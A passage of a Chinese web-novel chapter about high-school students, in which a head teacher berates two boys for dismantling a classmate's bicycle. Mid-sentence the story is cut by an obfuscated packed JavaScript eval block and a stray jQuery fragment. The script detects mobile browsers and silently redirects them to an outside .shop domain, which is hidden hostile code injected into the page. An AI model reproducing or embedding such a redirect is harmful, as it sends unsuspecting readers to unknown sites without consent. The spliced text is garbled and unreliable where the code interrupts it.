“方晴，帮我把粥给李酬。”
“嗯？”
还没反应过来，陆翎一溜烟儿没人了。赵方晴提在手里打量了一下，不用猜，早餐的主人是李酬。
学校的饭有那么难吃吗？他还让人给他带饭。
年级主任站在校门口，无意间打了个照面。赵方晴步伐加快，想趁李酬没进班之前放在他桌子上。她怕引起其他人的注意，平添杂七杂八的闲言碎语。
六点四十五，教室里人不多。来的早的，多是在补前一天的作业。罗翼怀里抱着一个软枕倚靠着教室墙壁补晨觉，赵方晴路过时无意踢到了他同桌的椅子，嘶嘶拉拉的铁片摩擦声，她绊了一脚差点摔倒。
罗翼吓了一跳，瞬间精神过来。
“哎哟，你没事儿吧。走路看路。”
赵方晴抱歉的笑了一下：“不好意思。”
罗翼摇了摇头。
赵方晴把早餐放在李酬桌子上的时候，周游闲散的从教室后面冒了出来。
“你？赵方晴？！”
周游不可思议的往前迈了两大步，眼带异样的光亮。
赵方晴回过头看她：“怎么了？”
周游指着桌子上的早餐，像小偷般四处观望，声音分贝降了不少：“这是李酬的位置。”
“我知道啊。”
周游拍了拍自己的脸：“我没看错吧，你给他带早餐？你俩不会……”
“你想多了，陆翎刚在校门口让我转交的。”
周游意味深长的笑了笑，转头回到了自己的座位上。
“哎，罗翼你有病啊。跟个大爷一样，睡觉腿还搭在我的椅子上。脸可真大。”
罗翼没睁眼，他总是这样，像幼稚园小男孩逗小女生一样，等快要把周游给气急了，这时候想起来熄火了。行为上才有所收敛。
赵方晴回到自己的座位放下书包，听着身后打打闹闹的语句，一脸无奈的摇了摇头。上周最后一天，周游跟罗翼同时登陆“班级荣誉榜”。午休时周游趴在桌子上小憩，罗翼手欠儿的三次五次的拽周游的头发。前几次周游不搭理他，忍无可忍的时候，周游握紧拳头狠狠给了他一拳。恰巧被路过的年级主任看到。最后两人罚抄《蜀道难》二十遍。至今也不知道这两个欢喜冤家抄完了没有。
窗外的昏色逐渐变得湛蓝接近明亮。
人之心事，天青白日。
教室内书声朗朗。
语文课代表到黑板前写下早读任务。
门口是个固定哨岗，坐在那儿的总是通风报信的守门员，如同坐在讲台老师左手边的，不是心腹，就是心腹大患。在康柏林抵达教室前，教师内的朗朗书声如大珠小珠落玉盘般倾泻开来。
除了班主任，主科任课老师一人带两个班，副科老师一人带三个。早读英语语文两个班来回转。等语文老师来过课，基本上已经是距离早读下课后四十分钟了。
站得久了容易低血糖，最后一排零星的几个蹲下身子趴在椅子上。读几句，说几句悄悄话。声音不大不小，藏的刚刚好。
教室墙上的钟表已经是7:15。
康柏林7:30抵达教室。
默读也算一种读吧。她从来没听到过李酬的读书声，印象中的数据库也没有他的音色。一阵凉风从后面飘过。赵方晴转过头，与康柏林那双狭长的眼睛对视上。康柏林面无表情的时候面容蛮凶的。
赵方晴迅速收回目光。
“你们两个，给我出来。”
康柏林声音平静，揪了一下李酬的短袖袖口。
随后在班里绕了一圈，康柏林提着扫把垃圾桶。“砰”地一声，关上了教室前门。
教室里的读书声起起伏伏，一会儿大，一会儿小，一会儿高，一会儿低。流转旋绕的节奏同教室外单一的训斥声色形成反比。外面训斥的话语声大了，教室里便会竖起无数只小兔子的耳朵。
听着教室里的读书声越来越蔫儿，康柏林拉开窗户，冲着教室里大喊。
“看什么看！读书！都会了？谁会谁出来给我过课！”
砰——
兴许这窗户不是自家的，摔起来的时候不心疼。
“谁教你们给同学自行车卸了？”
隔着玻璃，在教室里还是能依稀听个大概。
赵方晴侧过身子，视野之上只能观测到看到康柏林的正脸，武迦樾的侧脸，李酬刚好被中间那一堵墙遮的严严实实。整个过程康柏林破口大骂的声音响彻楼道。正当她讶异怎么还没听到李酬和武迦樾的反驳与解释的时候。武迦樾的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802618|210651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声音扬了起来，枪打出头鸟，后来的二十分钟里，康柏林的火力百分之八十都集中在了他身上。中途，康柏林还喝了三口水。
“他带有色眼镜啊，看武迦樾学习没有李酬好，一直在骂他。”
杨佳贤实在坚持不住了，椅子一拉，瘫坐在那里。
陆翎轻“咳”了一声，笑着说：“他脸皮厚，无伤大雅。”
赵方晴扭过头问了一嘴：“李酬脸皮薄？我怎么看着不像呢。”
蜀道难/难于上青天/蚕丛及鱼凫/开国何茫然/尔来四万八千岁/不与秦塞通人烟……
教室里读书声骤然间再次加重。
康柏林气势汹汹的推门而入，把讲桌收拾一通后看一眼教室后的钟表，他拿板擦重力的敲了敲黑板。
“坐下。”
一声令，整齐划一的拉椅子声。
“高二了，有些话不必我多说。关于纪律问题，我想此刻无论怎样的言辞，都不及你们高一时强调来的严肃。但！该有的最基本班规班级，校规校纪。我希望你们每个人都放在眼里。昨天，咱们班出现了一件事情。并且是影响极其不好的事情。今天早上我去开会，这件事情已经被年级主任通报。”
康柏林看了一眼窗外的两个身影，回过头一脸不可思议的继续说。
“十七八了，怎么还会出现聚团围堵、拆卸同学车子的事情？说出去我都丢不起这张脸。这是阆青高中该出现的事情吗？！说出去，对得起你们这身校服吗？！……”
训诫持续了有四十分钟，语文老师在走廊徘徊，见迟迟班会没结束。在外面跟武迦樾说了几句话离开了。赵方晴的大脑持放空状态。一旦听人开始长篇大论讲大道理，她就习惯性跑神儿。扭头看着闻玖那一副小人得志的样子。真像一个活生生的讨厌鬼。
下课铃响，康柏林怒气未消的看了一眼手腕的宽带手表。连“下课”二字都没有说出口就拿着书本离开。
大概赵方晴怎么也想不到。仅仅过了三天，自己也被卷进莫名其妙的是非里。
出社会出社会，原来出了家，就是社会。
学校就是活脱脱一个小社会。
校服模糊的是家庭概念。
校服，让全世界误以为彼此都活在同一个世界。